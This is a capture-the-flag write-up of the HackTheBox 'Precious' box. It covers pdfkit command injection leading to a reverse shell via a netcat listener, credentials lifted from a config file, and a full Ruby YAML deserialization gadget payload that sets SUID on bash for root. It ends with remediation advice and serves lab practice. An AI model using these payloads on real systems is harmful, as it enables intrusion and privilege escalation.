Precious is an easy-rated Linux box on HackTheBox that focuses on web exploitation through command injection in a PDF generator service, followed by privilege escalation via YAML deserialization. This box is perfect for practicing enumeration and understanding how seemingly innocent features can be weaponized.
Reconnaissance
Nmap Scan
Starting with an nmap scan to identify open ports and services:
nmap -sC -sV -oA nmap/precious 10.10.11.189
Results:
Two services running - SSH on port 22 and HTTP on port 80. The web service is our likely entry point.
Web Enumeration
Visiting http://10.10.11.189 reveals a simple web application that converts web pages to PDF files. The application accepts a URL and returns a PDF version of the page.

The application is using a Ruby framework based on the HTTP headers. Let’s test if it’s vulnerable to command injection or SSRF.
Initial Foothold
Command Injection in PDF Generator
I set up a simple Python HTTP server to host a test page:
python3 -m http.server 8000
When submitting my machine’s IP to the PDF generator, I noticed the application successfully fetches and converts the page. More importantly, the generated PDF contains metadata that reveals the underlying tool:
exiftool precious.pdf
Output:
Searching for pdfkit 0.8.6 vulnerabilities reveals CVE-2022-25765 - a command injection vulnerability in older versions of pdfkit.
Exploiting CVE-2022-25765
The vulnerability allows command injection through URL parameters. I crafted a malicious URL:
Setting up a netcat listener:
nc -lvnp 4444
After submitting the crafted URL to the PDF generator, I received a reverse shell as user ruby!
ruby@precious:~$ whoami
ruby
User Flag
The user flag was found in /home/ruby/user.txt:
cat /home/ruby/user.txt
f5a[REDACTED]e21
Privilege Escalation
Enumeration as Ruby User
Looking around the home directory, I found a .bundle/config file containing credentials:
cat ~/.bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c[REDACTED]dZqqT"
These credentials worked for SSH access as user henry:
Privilege Escalation to Root
Checking sudo privileges for henry:
sudo -l
Output:
Henry can run a Ruby script as root. Let’s examine it:
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
The script uses YAML.load() to parse a dependencies.yml file from the current directory. This is vulnerable to YAML deserialization attacks!
YAML Deserialization Attack
I created a malicious dependencies.yml file that will execute a command when loaded:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetch
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "chmod +s /bin/bash"
method_id: :resolve
Running the script with sudo:
sudo /usr/bin/ruby /opt/update_dependencies.rb
This sets the SUID bit on /bin/bash, allowing us to spawn a root shell:
bash -p
bash-5.1# whoami
root
Root Flag
cat /root/root.txt
b5a[REDACTED]f2c
Key Takeaways
- Always check tool versions - The PDF metadata revealed pdfkit version, leading to the CVE discovery
- Credentials in config files - Found hard-coded credentials in
.bundle/config - YAML.load() is dangerous - Using
YAML.safe_load()would have prevented the deserialization attack - Defense in depth - Multiple vulnerabilities chained together for full compromise
Remediation
- Update pdfkit to version 0.8.7.2 or later
- Use
YAML.safe_load()instead ofYAML.load() - Never hard-code credentials in configuration files
- Implement proper input validation for URL parameters
- Restrict sudo permissions to specific file paths, not user-controlled directories
Box Info:
- Difficulty: Easy
- OS: Linux
- Release Date: November 2022
- IP: 10.10.11.189
Thanks for reading! Feel free to reach out on Twitter if you have questions or want to discuss the box.